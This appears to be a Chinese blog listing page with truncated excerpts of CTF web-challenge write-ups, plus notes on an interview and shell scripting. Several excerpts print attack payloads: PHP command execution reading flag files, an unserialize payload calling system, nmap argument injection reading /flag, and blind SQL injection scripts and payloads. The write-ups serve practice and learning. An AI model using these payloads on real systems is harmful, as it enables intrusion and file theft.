phpweb 姿势1命名空间绕过。 func=\\system p=find / -name flag* func=\\system p=cat /xx/flag 姿势2序列化 buu群里和大佬学到还可以用反序列化 func=unserialize&p=0:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";} nmap 127.0.0.1' -iL /flag -oN ***.txt ' 访问http:xxx/***.txt...

V&N面试得到的收获 前言 前两天面了V&N，面试中遇见了很多问题，给我面试的师傅也热心的给出了解答。 先找一下自己得不足叭: 开发不够深入，对java得理解还是不够熟悉和了解。 爆肝了一段时间的ctf题，但是缺少对文章及其他重要的东西得研究，P3师傅也说不能只面向题目 知识没有很好的联系起来，理解不够透彻 面试时好紧张啊，总是打错字，想问题也不够全面，也有一部分是看到许多的大师傅，心里发慌叭。要好好研究技术了。 关于sql注入&预编译 引用师傅给我的问题 当时还好打开了自己的项目看了一眼，仔细看看自己写过的项目，发现拼表操作确实是这样的 (简单操作得Mapper...

一个题也不会，膜膜大佬萌。 WEB_ALL_INFO_U_WANT 扫一下叭 bak文件泄露 visit all_info_u_want.php and you will get all information you want = =Thinking that it may be difficult, i decided to show you the source code: <?php error_reporting(0); //give you all information you want if (isset($_GET['all_info_i_want'])) { ...

ezsqli ) 爆库 give_grandpa_pa_pa_pa import requests url = "http://76447fe2-fcf7-4d5d-8f7f-4a1e35668681.node3.buuoj.cn/index.php" data = {"id":""} result = "" i = 0 while( True ): i = i + 1 head=32 tail=127 while( head < tail ): mid ...

shell常见变量 前言:有一道题用绕过的时候用到了cat9flag.php 所以来学一下 运行方式shell_name.sh表示shell脚本的名字 sh shell_name.sh bash shell_name.sh ./shell_name.sh 常见系统变量 变量解释 $0 当前程序的名称 $n (n=1……9) 第n个参数比如2 $* 当前程序所有的参数，不包括程序名称和程序内写好的参数，通过一个字符串返回 $@ 输出所有的参数 $# 当前程序的参数个数 $? 最近一次执行的命令或shell脚本的出口状态，一般0为成功，其他是失败比如127 $U...

shell学习之if句练习 夜晚编程,安静！ 语法 关于fi 网上的同志萌都说是 if 反过来，认为是end if。 我觉得可以通过finally来记，因为条件句执行完毕不论如何都会执行 和python或者java里的finally很像。 if [ command ];then 符合条件1执行的语句1 elif [ command ];then 符合条件2执行的语句2 else 符合条件3执行的语句3 fi 执行最后一句 数值判断 -eq表示equal等于 -neq表示not equal不等于 -gt即greater than -lt表示less than ...

[SWPUCTF 2018]SimplePHP 模糊测试 这个题首先，看到后会有一点觉得是文件上传。没有错，这只是一部分。 上传了文件之后发现会被“安排”。 这个过程比较模糊所以叫做模糊的测试叭。 发现文件包含 在查看文件的tab中，我萌可以看到 ?file= ；不用多说这个点了。 我萌把所有的源码规制下来。下面的源码搞出来的话就跳过叭，挺长的。 首先我们是得到的file.php的内容。 然后根据file.php的源码取得function.php,class.php。 然后再拿到base.php(或者说可以理解是index.php)。 file.php <?php header(&...

[WUSTCTF2020]颜值成绩查询 整数型注入，盲注。 速度快，一定要二分法。 爆库名:ctf 二分法核心payload "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid) import requests url = "http://8a12a75e-26f1-4a40-ad74-95086cfef9df.node3.b...

[CISCN2019 华东南赛区]Double Secret 首页面是比较无奈的 我进入了robots.txt发现了毫无作用的信息 有的大佬猜到了目录，我是扫出来的 输入几个参数试试，发现他被加密了，毫无思路自己还跑了1到128的脚本发现没什么规律。 当你输入一堆奇怪的东西 比如:123123ads 他报错了~。我们发现了关键处的代码，此处调用了rc4再通过render_template_string执行。 if(secret==None): return 'Tell me your secret.I will encrypt it so others can\'t ...

[强网杯 2019]高明的黑客 下载完源码，本想好好审计，看到数目后我的内心 )) 这么多的文件其实就是根据一句话木🐎的原理，在大批量的文件中找到你最中意的那个PHP预定义变量_POST. 此题两种解法， 挨个审计3002个文件，挨个传参，运气好第一次就有了. ??????????????????????????????????????????????????(小朋友的问号) 嗯……大概看完这3002个文件，代码审计就不是啥难事了。 编程序然后喝雪碧等结果 学用了keelongz大佬的正则: get:\$_GET\[\'(\w+)\'\] post:\$_POST\[\'(\w+)\'\]...

[BJDCTF2020]Easy MD5 第一步 绕过: "select * from 'admin' where password=' ".md5($pass,true)." ' " 输入:ffifdyop 原因:数据库会把16进制转为ascii解释 如下: flag{welcome}的16进制是0x666c61677b77656c636f6d657d 而我们的md5(ffifdyop) 会返回16进制字符串 这时原来的语句就是: "select * from 'admin' where password='' or'6蒥欓!r,b' &q...

[BJDCTF 2nd]简单注入 hint.txt出现了内容。 大概意思和国赛一道题相同。 username处注入\来转义单引号，password处使用sql语句整数型注入。 例如: 传入admin\ 和 or/**/length(database())>0#会回显stronger字样 传入admin\ 和 or/**/length(database())<0#会回显girl friend字样 大师傅都么得girl friend，我也没得……呀。 直接上脚本吧，二分法还是挺快的。 这里我用的三目运算，只能用正整数和0，因为用负数发现被过滤了负号。 i...

[watevrCTF-2019]Pickle Store 考察: python反序列化 进入页面提是我们需要买flag 然后买第一个或者第二个的时候发现cookie是变化的，如下图。 模糊的测试。 因为这个cookie比较像base64，所以简单测试了一下，发现还是挺像点什么的。 后来我把题目名称发给马哥，他告诉我Pickle这个名字一看就是序列化. !!!!!!!!!!!!!!!!!!! dltql,dldddd。 于是去网上搜了搜pickle的知识点。 链接1: https://www.php.cn/python-tutorials-372984.html 函数解释 pickl...

[GYCTF2020]FlaskApp hint:失败的意思就是，要让程序运行报错,报错后会暴露源码。 base64decode在不会解析的时候就会报错。 由报错可以读到部分代码，如图。 关键代码如下: 获取我们传的text参数，进行解密，如果可以过waf则执行代码。 @app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_dec...